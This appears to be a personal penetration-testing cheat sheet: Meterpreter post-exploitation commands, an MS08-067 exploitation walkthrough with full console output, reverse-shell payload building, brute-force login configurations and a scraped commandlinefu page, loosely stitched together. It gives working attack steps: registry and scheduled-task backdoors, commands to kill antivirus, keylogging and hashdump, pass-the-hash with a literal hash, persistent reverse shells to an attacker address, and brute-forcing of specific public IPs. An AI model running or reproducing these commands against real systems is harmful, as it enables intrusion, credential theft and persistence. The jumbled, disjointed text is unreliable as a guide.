C:\\windows\\system32\\ reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v system32 -d "C:\\windows\\system32\\system32.exe -Ldp 455 -e cmd.exe" reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v system32 reg enumkey -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list reg setval -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list -v sys reg queryval -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list -v system32 upload /neo/wallpaper1.bmp "C:\\documents and settings\\pentest3\\local settings\\application data\\microsoft\\" getuid ps getpid keyscan_start keyscan_dump migrate 520 portfwd add -L 104.4.4 -l 6666 -r 192.168.1.1 -p 80" portfwd add -L 192.168.1.1 -l -r 10.5.5.5 -p 6666 shell run myremotefileserver_mserver -h run myremotefileserver_mserver -p 8787 run msf_bind run msf_bind -p 1975 rev2self getuid getuid enumdesktops grabdesktop run deploymsf -f framework-3.3-dev.exe run hashdump run metsvc run scraper run checkvm run keylogrecorder run netenum -fl -hl localhostlist.txt -d google.com run netenum -rl -r 10.192.0.50-10.192.0.254 run netenum -st -d google.com run netenum -ps -r 10.192.0.50-254 # Windows Login Brute Force Meterpreter Script run winbf -h # upload a script or executable and run it uploadexec # Using Payload As A Backdoor from a shell REG add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run /v firewall /t REG_SZ /d "c:\windows\system32\metabkdr.exe" /f at 19:00 /every:M,T,W,Th,F cmd /c start "%USERPROFILE%\metabkdr.exe" SCHTASKS /Create /RU "SYSTEM" /SC MINUTE /MO 45 /TN FIREWALL /TR "%USERPROFILE%\metabkdr.exe" /ED 11/11/2011 # kill AV this will not unload it from mem it needs reboot or kill from memory still ... Darkspy, Seem, Icesword GUI can kill the tasks catchme.exe -K "c:\Program Files\Kaspersky\avp.exe" catchme.exe -E "c:\Program Files\Kaspersky\avp.exe" catchme.exe -O "c:\Program Files\Kaspersky\avp.exe" dummy Nessus Scanning through a Metasploit Meterpreter Session By Mark Baggett on March 16, 2010 6:44 AM | Permalink By Mark Baggett Scenario: You are doing a penetration test. The client's internet face is locked down pretty well. No services are exposed externally and only HTTP/HTTPS are allowed OUT of the corporate firewall. You email in a carefully crafted email with the meterpreter attacked. An accommodating users is more than happy to click your attachment giving you meterpreter access to their machine. Now what? How about using Nessus to scan all the services on their internal network? Here is a tutorial on how to do it. The Players Attacker 172.16.186.132 Victim 172.16.186.126 Step 1 - After you have meterpreter access install OpenSSH on the victim's computer. Joff Thyer, packet guru, crazy aussie and all around smart guy did a great job of outlining the install process on his blog. I pretty much just followed his instructions here. Step 2 - After you've installed OpenSSH and setup your account use Meterpreters PORTFWD command to forward a port from the attacker's machine to the SSH listener on the victim's machine. For example: meterpreter> portfwd add -L 172.16.186.132 -l 8000 -r 172.16.186.128 -p 22 This command sets up a listener on port 8000 of the attacker's IP (172.16.186.132) and forwards packets to port 22 on the victim's machine (172.16.186.128). Step 3 - SSH into the portfwd port you just created and setup a dynamic port forwarder on your machine. For example: # ssh -D 127.0.0.1:9000 -p 8000 username@172.16.186.132 This command sets up a SOCKS4 proxy on port 9000 which is forwarded through the SSH session on the victim. Step 4 - Use PROXYCHAINS to forward your nessusd traffic through the SOCKS4 listener on port 9000. This is as simple as changing the TCP port on the last line of /etc/proxychains.conf from its default of 9050 to port 9000 and launching nessusd through proxychains as follows: # proxychains /usr/sbin/nessusd -D Step 5 - Start the nessus client and do you scan. Preparing for a custom command line OpenSSH Installation in your lab The basic steps to prepare a command line OpenSSH installation for Windows are as follows: 1. Download the setupssh.exe installation package from http://sshwindows.sourceforge.net/download 2. Run the GUI installer package on your Windows lab/test machine. I suggest accepting the default program location of C:\Program Files\OpenSSH 3. Get a full copy of all of the files under the directory C:\Program Files\OpenSSH onto a USB flash drive or other favorite media. Copy recursively with XCOPY and make sure you fully retain the directory structure. 4. Export the following registry keys using the REG EXPORT command as follows: REG EXPORT .HKLM\SOFTWARE\Cygnus Solutions. 1.REG REG EXPORT .HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd. 2.REG REG EXPORT .HKLM\SYSTEM\ControlSet001\Services\OpenSSHd. 3.REG 5. Concatenate all of these registry files together into one file. TYPE 1.REG 2.REG 3.REG >OPENSSH.REG 6. Save this OPENSSH.REG file into your local copy of all of the openssh directory structure. Performing an installation via command shell Now that you have all of this data saved on your USB thumb drive, lets assume that our penetration testing machine is a CentOS Linux operating system with IP address of 192.168.1.37, and that our target is a Windows 2003 SP0 machine with IP address of 192.168.1.40. Our penetration testing Linux machine has our OpenSSH package files mounted under /mnt/PenTestTools/win32/OpenSSH. Our target happens to have the MS08-067 Server Service RPC vulnerability. Below is an example of how we exploit this vulnerability using Metasploit (www.metasploit.com) with the Meterpreter payload, upload our OpenSSH server files, add a new username, perform some minimal configuration and start the OpenSSH service. Exploiting the Vulnerability [root@localhost framework-3.2]# nc -v 192.168.1.40 445 Connection to 192.168.1.40 445 port [tcp/microsoft-ds] succeeded! [root@localhost framework-3.2]# ./msfconsole msf > search exploits ms08_067 [*] Searching loaded modules for pattern 'ms08_067'... Exploits ======== Name Description ---- ----------- windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp msf exploit(ms08_067_netapi) > set RHOST 192.168.1.40 RHOST => 192.168.1.40 msf exploit(ms08_067_netapi) > set TARGET 5 TARGET => 5 msf exploit(ms08_067_netapi) > show options ... truncated output ... Exploit target: Id Name -- ---- 5 Windows 2003 SP0 Universal msf exploit(ms08_067_netapi) > exploit [*] Started bind handler [*] Triggering the vulnerability... [*] Transmitting intermediate stager for over-sized stage...(191 bytes) [*] Sending stage (2650 bytes) [*] Sleeping before handling stage... [*] Uploading DLL (75787 bytes)... [*] Upload completed. [*] Meterpreter session 1 opened (192.168.1.37:45633 -> 192.168.1.40:4444) meterpreter > sysinfo Computer: SYSTEM-HJ28HHGL7N OS : Windows .NET Server (Build 3790, ). Uploading your OpenSSH Files meterpreter > lcd /mnt/PenTestTools/win32/OpenSSH meterpreter > lpwd /mnt/PenTestTools/win32/OpenSSH meterpreter > cd \ meterpreter > cd "Program Files" meterpreter > mkdir openssh Creating directory: openssh meterpreter > cd openssh meterpreter > pwd C:\Program Files\openssh meterpreter > upload -r . . [*] uploading : ./uninstall.exe -> .\uninstall.exe [*] uploaded : ./uninstall.exe -> .\uninstall.exe [*] mirroring : ./bin -> .\bin [*] uploading : ./bin/chmod.exe -> .\bin\chmod.exe [*] uploaded : ./bin/chmod.exe -> .\bin\chmod.exe [*] uploading : ./bin/chown.exe -> .\bin\chown.exe [*] uploaded : ./bin/chown.exe -> .\bin\chown.exe [*] uploading : ./bin/cygcrypto-0.9.7.dll -> .\bin\cygcrypto-0.9.7.dll [*] uploaded : ./bin/cygcrypto-0.9.7.dll -> .\bin\cygcrypto-0.9.7.dll .... lots of output truncated .... meterpreter > execute -f cmd.exe .i Process 848 created. Channel 66 created. Modifying the Registry and Adding Your Own Username Here, we import all of our registry keys, then add our own username making sure to put it into the administrators group. Then we create the passwd and group files that OpenSSH needs for authentication purposes. Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\Program Files\openssh>whoami whoami nt authority\system C:\Program Files\openssh>reg import openssh.reg reg import openssh.reg The operation completed successfully. C:\Program Files\openssh>net user inet_p0wned gameover /add net user inet_p0wned gameover /add The command completed successfully. C:\Program Files\openssh>net localgroup administrators inet_p0wned /add net localgroup administrators inet_p0wned /add The command completed successfully. C:\Program Files\openssh>cd etc cd etc C:\Program Files\openssh\etc>..\bin\mkpasswd -l >passwd ..\bin\mkpasswd -l >passwd C:\Program Files\openssh\etc>..\bin\mkgroup -l >group ..\bin\mkgroup -l >group C:\Program Files\openssh\etc>sc create opensshd binpath= "c:\program files\openssh\bin\cygrunsrv.exe" start= auto sc create opensshd binpath= "c:\program files\openssh\bin\cygrunsrv.exe" start= auto [SC] CreateService SUCCESS Start the OpenSSH Service C:\Program Files\openssh\etc>sc start opensshd sc start opensshd SERVICE_NAME: opensshd TYPE : 10 WIN32_OWN_PROCESS STATE : 2 START_PENDING (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x7d0 PID : 1916 FLAGS : C:\Program Files\openssh\etc>sc query opensshd sc query opensshd SERVICE_NAME: opensshd TYPE : 10 WIN32_OWN_PROCESS STATE : 4 RUNNING (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0 C:\Program Files\openssh\etc>netsh firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24 The following command was not found: firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24** **Note: adding a port for the firewall is necessary if the firewall exists. If not, then you will get the command not found error message. It is a good idea to restrict the source networks so that you don.t leave a gaping opportunity while testing. C:\Program Files\openssh\etc>exit exit meterpreter > quit [*] Meterpreter session 1 closed. msf exploit(ms08_067_netapi) > quit Now, lets go ahead and SSH into our Windows server to check if things worked! root@localhost:~/framework-3.2]# ssh inet_p0wned@192.168.1.40 The authenticity of host '192.168.1.40 (192.168.1.40)' can't be established. RSA key fingerprint is ab:c8:bf:9f:b2:38:32:1d:6f:2b:34:a5:d0:99:dc:49. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.1.40' (RSA) to the list of known hosts. OpenSSH for Windows. Welcome aboard! inet_p0wned@192.168.1.40's password: Could not chdir to home directory /home/inet_p0wned: No such file or directory Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\Program Files\OpenSSH> C:\Program Files\OpenSSH>whoami system-hj28hhgl7n\inet_p0wned C:\Program Files\OpenSSH>exit Connection to 192.168.1.40 closed. [root@localhost framework-3.2]# Cleaning up To clean up everything when you are finished, you need to delete the OpenSSH service, delete the registry keys and remove all of the relevant files. The following recipe should work reasonably well from a command shell. Remember that you cannot be using OpenSSH when deleting the service! So, you may need to exploit again with shell code before removing it. C:\> SC STOP opensshd C:\> SC DELETE opensshd C:\> REG DELETE .HKLM\SOFTWARE\Cygnus Solutions. /f /va C:\> REG DELETE .HKLM\SYSTEM\ControlSet001\Services\OpenSSHd. /f /va C:\> REG DELETE .HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd. /f /va C:\> CD "\Program Files" C:\Program Files> RMDIR /Q /S opensshd C:\Program Files> NETSH FIREWALL DELETE PORT TCP 22 C:\Program Files> NET USER inet_p0wned /DELETE # pivot http://www.offensive-security.com/metasploit-unleashed/Pivoting use exploit/windows/smb/psexec set RHOST 10.1.13.2 set SMBUser Administrator set SMBPass 81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d set PAYLOAD windows/meterpreter/bind_tcp exploit # make exe ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.6.55 LPORT=443 R | ./msfencode -t exe -c 5 -o /tmp/bob.exe # attacker listen use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.6.55 set LPORT 443 set ExitOnSession false # set AutoRunScript pathto script you want to autorun after exploit is run set AutoRunScript persistence -r 192.168.6.55 -p 443 -A -X -i 30 exploit -j -z # armatage apt-get install mysql-server -y /etc/init.d/mysql start mysqladmin -u root -ppassword password toor /pentest/exploits/framework/msfrpcd -f -U msf -P test -t Basic # armatage apt-get install -y postgresql apt-get install libpq-dev -y gem install postgres /etc/init.d/postgresql start su - su - postgres createuser msf_user -P createdb --owner=msf_user msf /pentest/exploits/framework/msfrpcd -f -U msf -P msf -t Basic /pentest/exploits/framework/armitage net user newuserhere PASSWORDHERE /add net localgroup administrators newuserhere /add "c:\program files\nmap\nmap.exe" -vvv -n -p 1527,3200,3201,3300,3600,8000,8100,8101,40000-40005,50013,50113 -A 192.168.56,14,6,7,8,9.1-255 -oA sap ---- # ssh use auxiliary/scanner/ssh/ssh_login #set RHOSTS_FILE "C:/backup/wordlist/targests.txt" set RHOSTS 4.59.139.135 4.59.139.136 4.59.139.140 63.116.61.25 63.116.61.26 63.116.61.34 # set USER_FILE "C:/backup/wordlist/password_large.txt" set USERPASS_FILE "C:/backup/wordlist/root_userpass.txt" set VERBOSE true set STOP_ON_SUCCESS true set BRUTEFORCE_SPEED 5 # set this to the number of host set THREADS 6 run use auxiliary/gather/dns_enum set DOMAIN domain.com run #smb use auxiliary/scanner/smb/smb_login set RHOSTS file://192.168.8.39 set RHOSTS 127.0.0.1 set USER_FILE "C:/wordlist/users.txt" set PASS_FILE "C:/wordlist/2.txt" set VERBOSE false # set to number of host scanning . set THREADS 16 set STOP_ON_SUCCESS true set VERBOSE true set BLANK_PASSWORDS false # http use auxiliary/scanner/http/http_login set AUTH_URI /folder?dcPath=ha-datacenter set RHOSTS 127.0.0.1 127.0.0.1 127.0.0.1 set VERBOSE true run back # telnet use auxiliary/scanner/telnet/telnet_login set RHOSTS 127.0.0.1,49,50 set PASS_FILE "C:/wordlist/password_small.txt" set THREADS 254 run back # mssql use auxiliary/scanner/mssql/mssql_login set RHOSTS 127.0.0.1 set PASS_FILE "C:/wordlist/password_small.txt" set USERNAME sa set VERBOSE false run back #ftp use auxiliary/scanner/ftp/ftp_login set RHOSTS 127.0.0.1 set PASS_FILE /home/administrator/alcoa/alcoa_small.txt set USER_FILE /home/administrator/alcoa/alcoa_small.txt set BRUTEFORCE_SPEED 1 run #snmp use auxiliary/scanner/snmp/snmp_login set RHOSTS 127.0.0.1 set PASS_FILE "C:/wordlist/snmp_default_pass.txt" set VERBOSE false run nmap --script=smtp-open-relay.nse -p 25 -iL 25 -n ./sfuzz -T O -f sfuzz-sample/basic.http -S 50.74.10.218 -p 179 # onlt works for Delegation Tokens list_tokens -u impersonate_token ORACLE-ENT\\Administrator # after hijack incognito use auxiliary/server/capture/smb # ubuntu autopwn apt-get install ruby1.8-dev libpq-dev postgresql -y gem install postgres # download autopwn . cd /pentest/exploits/framework/plugins/ wget http://rmccurdy.com/scripts/db_autopwn.rb cd .. sudo -u postgres psql \password postgres \q sudo -u postgres createdb msf ./msfconsole db_driver db_driver postgresql db_connect postgres:postgres@127.0.0.1/msf db_nmap 123.123.123.123 -v -v -v -v load db_autopwn db_autpown -p -t -e # ssh logins use auxiliary/scanner/ssh/ssh_login set RHOSTS 192.168.1.1-255 set USER_FILE "C:/wordlist/password_small.txt" run back #smb use auxiliary/scanner/smb/smb_login set RHOSTS 127.0.0.1 set SMBUser Administrator set PASS_FILE "C:/wordlist/password_small.txt" set VERBOSE false set THREADS 16 run back # telnet use auxiliary/scanner/telnet/telnet_login set RHOSTS 127.0.0.1 set PASS_FILE "C:/wordlist/password_small.txt" set THREADS 254 run back # mssql use auxiliary/scanner/mssql/mssql_login set RHOSTS 127.0.0.1 set PASS_FILE "C:/wordlist/password_small.txt" set USERNAME sa run back #ftp use auxiliary/scanner/ftp/ftp_login set RHOSTS 127.0.0.1 set PASS_FILE "C:/wordlist/password_small.txt" run #snmp use auxiliary/scanner/snmp/snmp_login set RHOSTS 127.0.0.1 set PASS_FILE "C:/wordlist/snmp_default_pass.txt" run User Summary Checks if a VNC server is vulnerable to the RealVNC authentication bypass (CVE-2006-2369). Example Usage nmap -sV -sC db_driver postgresql db_connect postgres:"msf3:"32a771f6"@127.0.0.1:7175/msf3 http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=7558 Microsoft Baseline Security Analyzer 2.2 (for IT Professionals) .a/gxfr.py kpmg.com --dns-lookup -v -t 10 http stress test .- HTTPS Support - 1000 simultaneous connections (each one with a different user/password) - Ability to record 2 or more application forms in order to test very specific application flows.. In order to answer your question, there.re some tools like: Tool 1- httperf More examples that I used before. httperf --hog --server HOST --num-conn 1000 --ra 100 --timeout 5 httperf --hog --server 192.168.1.3 --num-conn 1000 --ra 100 --timeout 5 httperf --hog --server=192.168.1.3 --wsess=10,5,2 --rate 1 --timeout 5 httperf --hog --server=www --wsess=10,5,2 --rate=1 --timeout=5 --ssl httperf --hog --server=bankinghome.es/apl/donativos/index_ca.html --wsess=10,5,2 --rate=1 --timeout=5 --ssl --ssl-ciphers=EXP-RC4-MD5:EXP-RC2-CBC-MD5 --ssl-no-reuse --http-version=1.0 httperf --hog --server=17.148.71.129/index.html --wsess=10,5,2 --rate=1 --timeout=5 --ssl --ssl-ciphers=EXP-RC4-MD5:EXP-RC2-CBC-MD5 --ssl-no-reuse --http-version=1.0 httperf --hog --server=http://17.148.71.129/index.html --wsess=10,5,2 --rate=1 --timeout=5 --ssl --ssl-ciphers=EXP-RC4-MD5:EXP-RC2-CBC-MD5 --ssl-no-reuse --http-version=1.0 Tool 2- fakeconnect fakeconnect -s SOURCE -d HOST -p PORT Tool 3- Apache benchmarking tool (accept POST) ab -n 100 -c 4 -p test.jpg http://localhost/ (http://httpd.apache.org/docs/2.0/programs/ab.html) Tool 4- Curl-loader (it rocks, very customizable) http://curl-loader.sourceforge.net/ And running hundreds and thousands of clients..., please, do not forget: 1- To increase limit of descriptors (sockets) by running e.g. #ulimit -n 10000; 2- Optionally, to set reuse of sockets in time-wait state, etc.., by setting: #echo 1 > /proc/sys/net/ipv4/tcp_tw_recycle and/or #echo 1 > /proc/sys/net/ipv4/tcp_tw_reuse; #echo 1 > /proc/sys/net/ipv4/tcp_moderate_rcvbuf #echo 108544 > /proc/sys/net/core/wmem_max #echo 108544 > /proc/sys/net/core/rmem_max #echo "4096 87380 4194304" > /proc/sys/net/ipv4/tcp_rmem #echo "4096 16384 4194304" > /proc/sys/net/ipv4/tcp_wmem Additional info: http://ltp.sourceforge.net/tooltable.php Hope that help you. ========== random file raname rename random file IFS=$'\n';for fname in `ls`; do mv "$fname" $RANDOM$RANDOM ;done grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}' ips | sort | uniq catchme.exe -K "c:\Program Files\Kaspersky\avp.exe" catchme.exe -E "c:\Program Files\Kaspersky\avp.exe" catchme.exe -O "c:\Program Files\Kaspersky\avp.exe" reboot still looking into it .. can't kill it from memory yet I can delete the file # file size search FOR /R C:\ %i in (*) do @if %~zi gtr 10000000 echo %i %~zi # screen cron @reboot /usr/bin/screen -fa -d -m -S torrent /usr/bin/rtorrent # netstat with pid for /f "tokens=1,2,3,7 delims=: " %a in ('netstat -nao ^| find ^"LISTENING^" ^| find /v ^"::^"') do @(for /f "tokens=1,*" %n in ('"wmic process where processId=%d get caption,executablepath | find ".""') do @echo Protocol=%a, IP=%b, Port=%c, PID=%d, Name=%n, Path=%o) # CSV file size,file for /r c:\ %i in (*) do @echo %~zi, %i # md5 check but in linux style md5 * | awk '{print $4,$2}' | sed 's/ (/ \*/g' | sed 's/)//g' C:\> wmic missiles call launch target=...* C:\> wmic /node:[IPaddr] /user:[Admin] /password:[password] process call C:\> wmic /node:[IPaddr] /user:[Admin] /password:[password] process call C:\> wmic /node:[IPaddr] /user:[Admin] /password:[password] process call C:\> rundll32.exe user32.dll,LockWorkStation logoff command against the user, again wrapped up inside of WMIC: C:\> logoff C:\> wmic /node:[IPaddr] /user:[Admin] /password:[password] process call C:\> tsdiscon console /server:[IPaddr] /v C:\> wmic /node:[IPaddr] /user:[Admin] /password:[password] process call C:\> fgdump -c & find "NO PASSWORD" 127.0.0.1.pwdump & del 127.0.0.1.pwdump C:\> fgdump -c & find "NO PASSWORD*********************:NO PASSWORD" 127.0.0.1.p C:\> net user [user] "" C:\> net use \\[hostname] "" /u:[user] C:\> FOR /F "tokens=2 skip=1" %i in ('wmic useraccount list brief') do @echo. C:\> net user guest active:no C:\> wmic useraccount get sid, name C:\> (for /F "tokens=1,2 skip=1" %i in ('"wmic useraccount get sid, name"') C:\> (for /F "tokens=1,2 skip=1" %i in ('"wmic useraccount get sid, name"') C:\> net localgroup administrators C:\> dir /d C:\> dir /ad /b C:\> dir /a-d /b C:\> FOR /D %i in (*) do @echo %i/ C:\> FOR /D %i in (*) do @echo :%i C:\> cipher /w:c:\folder C:\> for /L %i in (1,1,9) do @cipher /w:c:\folder sc), one of my faves is good old WMIC: C:\> wmic /node:[targetIPaddr] /user:[admin] process call create "cmd.exe /c [co C:\> wmic /node:[targetIPaddr] /user:[admin] process call create "cmd.exe /c [co C:\> netsh firewall set opmode disable C:\> netsh firewall set opmode enable C:\> netsh firewall add portopening protocol = [TCP|UDP] port = [portnum] name = C:\> netsh firewall show config C:\> dir /a /tw /o-d C:\> dir /a /s /tw /o-d c:\ C:\> for /r %i in (*) do @echo %~ti, %~fi C:\> for /r %i in (*) do @echo %~ti, %~fi >> file_list.csv C:\> for /r %i in (*) do @echo %~ti, %~fi | find "04/28/2009 02:06 PM" #commandlinefu.com search plugin RSS What's this? commandlinefu.com is the place to record those command-line gems that you return to again and again. If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/ Get involved! You can sign-in using OpenID credentials, or register a traditional username and password. OpenID or Sign in Register First-time OpenID users will be automatically assigned a username which can be changed after signing in. Stay in the loop… Functions Credits Site by David Winterbottom (user root). commandlinefu.com Random | Hot this week | All-time greats • FAQ | API | Widget [tag-loader.gif] ____________________ All commands All commands from [all time......] sorted by [votes] Go [terminal-options.gif] Terminal - All commands - 8,662 results sudo !! This is sample output - yours may be different. Run the last command as root Useful when you forget to use sudo for a command. "!!" grabs the last run command. python -m SimpleHTTPServer Functions: python Serve current directory tree at http://$HOSTNAME:8000/ :w !sudo tee % Functions: tee Save a file you edited in vim without the needed permissions I often forget to sudo before editing a file I don't have write permissions on. When you come to save that file and get the infamous "E212: Can't open file for writing", just issue that vim command in order to save the file without the need to save it to a temp file and then copy it back again. cd - Functions: cd change to the previous working directory ^foo^bar Runs previous command but replacing Really useful for when you have a typo in a previous command. Also, arguments default to empty so if you accidentally run: echo "no typozs" you can correct it with ^z cp filename{,.bak} Functions: cp quickly backup or copy a file with bash mtr google.com My traceroute [v0.73] apollo (0.0.0.0) Fri Feb 20 23:52:43 2009 Keys: Help Display mode Restart statistics Order of fields quit Host Loss% Snt Last Avg Best Wrst StDev 2. ??? ae-0-0.bbr2.Atlanta1.Level3.net ae-11-51.car1.Atlanta1.Level3.net mtr, better than traceroute and ping combined mtr combines the functionality of the traceroute and ping programs in a single network diagnostic tool. As mtr starts, it investigates the network connection between the host mtr runs on and HOSTNAME. by sending packets with purposly low TTLs. It continues to send packets with low TTL, noting the response time of the intervening routers. This allows mtr to print the response percentage and response times of the internet route to HOSTNAME. A sudden increase in packetloss or response time is often an indication of a bad (or simply over‐loaded) link. Show sample output | Comments (11) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate ctrl-x e GNU nano 2.0.7 File: /tmp/bash-fc-30782221326 # begin writing some exceedingly long and complex command in the editor... Rapidly invoke an editor to write a long, complex, or tricky command Next time you are using your shell, try typing ctrl-x e (that is holding control key press x and then e). The shell will take what you've written on the command line thus far and paste it into the editor specified by $EDITOR. Then you can edit at leisure using all the powerful macros and commands of vi, emacs, nano, or whatever. Show sample output | Comments (14) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate $ssh-copy-id user@host Copy ssh keys to user@host to enable password-less ssh logins. To generate the keys use the command ssh-keygen command $ echo this goes to history this goes to history $ echo this wont go to history this wont go to history $ history 1 echo this goes to history 2 history Execute a command without saving it in the history Prepending one or more spaces to your command won't be saved in history. Useful for pr0n or passwords on the commandline. Tested on BASH. Show sample output | Comments (10) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate > file.txt Empty a file For when you want to flush all content from a file without removing it (hat-tip to Marc Kilgus). reset ␍▒┴␋␍@␊▒⎼├␤:? $ ␍▒┴␋␍@␊▒⎼├␤:? $ ⎼␊⎽␊├ david@earth:~ $ Functions: reset Salvage a borked terminal If you bork your terminal by sending binary data to STDOUT or similar, you can get your terminal back using this command rather than killing and restarting the session. Note that you often won't be able to see the characters as you type them. ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg Capture video of a linux desktop ssh -N -L2001:localhost:80 somemachine Functions: ssh start a tunnel from some machine's port 80 to your local post 2001 now you can acces the website by going to http://localhost:2001/ echo "ls -l" | at midnight Functions: at echo Execute a command at a given time This is an alternative to cron which allows a one-off task to be scheduled for a certain time. dig +short txt .wp.dg.cx $ dig +short txt unix.wp.dg.cx "Unix (officially trademarked as UNIX, sometimes also written as Unix with small caps) is a computer operating system originally developed in 1969 by a group of AT&T employees at Bell Labs, including Ken Thompson, Dennis Ritchie, Douglas McIlroy, and Joe O" "ssanna. Today's Unix systems are split into various branches, developed over time by AT&T as well as various commercial... http://a.vu/w:Unix" Functions: dig Query Wikipedia via console over DNS Query Wikipedia by issuing a DNS query for a TXT record. The TXT record will also include a short URL to the complete corresponding Wikipedia entry.You can also write a little shell script like: $ cat wikisole.sh #!/bin/sh dig +short txt ${1}.wp.dg.cx and run it like ./wikisole.sh unix were your first option ($1) will be used as search term. Show sample output | Comments (22) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate mount | column -t /dev/sda1 on / type ext3 (rw,relatime,errors=remount-ro) tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=0755) /proc on /proc type proc (rw,noexec,nosuid,nodev) sysfs on /sys type sysfs (rw,noexec,nosuid,nodev) varrun on /var/run type tmpfs (rw,nosuid,mode=0755) varlock on /var/lock type tmpfs (rw,noexec,nosuid,nodev,mode=1777) udev on /dev type tmpfs (rw,mode=0755) tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev) devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620) fusectl on /sys/fs/fuse/connections type fusectl (rw) securityfs on /sys/kernel/security type securityfs (rw) Functions: column mount currently mounted filesystems in nice layout Particularly useful if you're mounting different drives, using the following command will allow you to see all the filesystems currently mounted on your computer and their respective specs with the added benefit of nice formatting. Show sample output | Comments (5) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate 'ALT+.' or ' .' Place the argument of the most recent command on the shell When typing out long arguments, such as: cp file.txt /var/www/wp-content/uploads/2009/03/ You can put that argument on your command line by holding down the ALT key and pressing the period '.' or by pressing then the period '.'. For example: cd 'ALT+.' would put '/var/www/wp-content/uploads/2009/03/ as my argument. Keeping pressing 'ALT+.' to cycle through arguments of your commands starting from most recent to oldest. This can save a ton of typing. curl -u user:pass -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml netstat -tlnp Functions: netstat Lists all listening ports together with the PID of the associated process The PID will only be printed if you're holding a root equivalent ID. dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp Functions: dd ssh output your microphone to a remote computer's speaker This will output the sound from your microphone port to the ssh target computer's speaker port. The sound quality is very bad, so you will hear a lot of hissing. mount -t tmpfs tmpfs /mnt -o size=1024m Functions: mount Mount a temporary ram partition Makes a partition in ram which is useful if you need a temporary working space as read/write access is fast. Be aware that anything saved in this partition will be gone after your computer is turned off. sshfs name@server:/path/to/folder /path/to/mount/point name@server's password: Mount folder/filesystem through SSH Install SSHFS from http://fuse.sourceforge.net/sshfs.html Will allow you to mount a folder security over a network. Show sample output | Comments (6) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate !!:gs/foo/bar Runs previous command replacing foo by bar every time that foo appears Very useful for rerunning a long command changing some arguments globally. As opposed to ^foo^bar, which only replaces the first occurrence of foo, this one changes every occurrence. ssh user@host cat /path/to/remotefile | diff /path/to/localfile - Functions: cat diff ssh Compare a remote file with a local file Useful for checking if there are differences between local and remote files. 1 2 3 > Last › man ascii Functions: man Quick access to the ascii table. wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com Functions: wget -p parameter tells wget to include all files, including images. -e robots=off you don't want wget to obey by the robots.txt file -U mozilla as your browsers identity. --random-wait to let wget chose a random number of seconds to wait, avoid get into black list. Other Useful wget Parameters: --limit-rate=20k limits the rate at which it downloads files. -b continues wget after logging out. -o $HOME/wget_log.txt logs the output net rpc shutdown -I ipAddressOfWindowsPC -U username%password Functions: shutdown Shutdown a Windows machine from Linux This will issue a shutdown command to the Windows machine. username must be an administrator on the Windows machine. Requires samba-common package installed. Other relevant commands are: net rpc shutdown -r : reboot the Windows machine net rpc abortshutdown : abort shutdown of the Windows machine Type: net rpc to show all relevant commands du -h --max-depth=1 Functions: du List the size (in human readable form) of all sub folders from the current location curl ifconfig.me Get your external IP address curl ifconfig.me/ip -> IP Adress curl ifconfig.me/host -> Remote Host curl ifconfig.me/ua ->User Agent curl ifconfig.me/port -> Port thonks to http://ifconfig.me/ (cd /tmp && ls) Jump to a directory, execute a command and jump back to current dir ctrl-l Clear the terminal screen time read (ctrl-d to stop) Functions: read time A very simple and useful stopwatch time read -sn1 (s:silent, n:number of characters. Press any character to stop) curl -u username --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print "\t" if //; print "$2\n" if /<(title|name)>(.*)<\/\1>/;' Thank You! Your LWN. subscription expires soon Interesting reading bash completion code question this and that RE: Relocating to name-elided Functions: perl Check your unread Gmail from the command line notice what happens when there is more than one unread message in a thread... also people please dont hardcode the password when you use curl. Leave it out and curl will ask you when it runs. Please...? Show sample output | Comments (3) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate ssh -t reachable_host 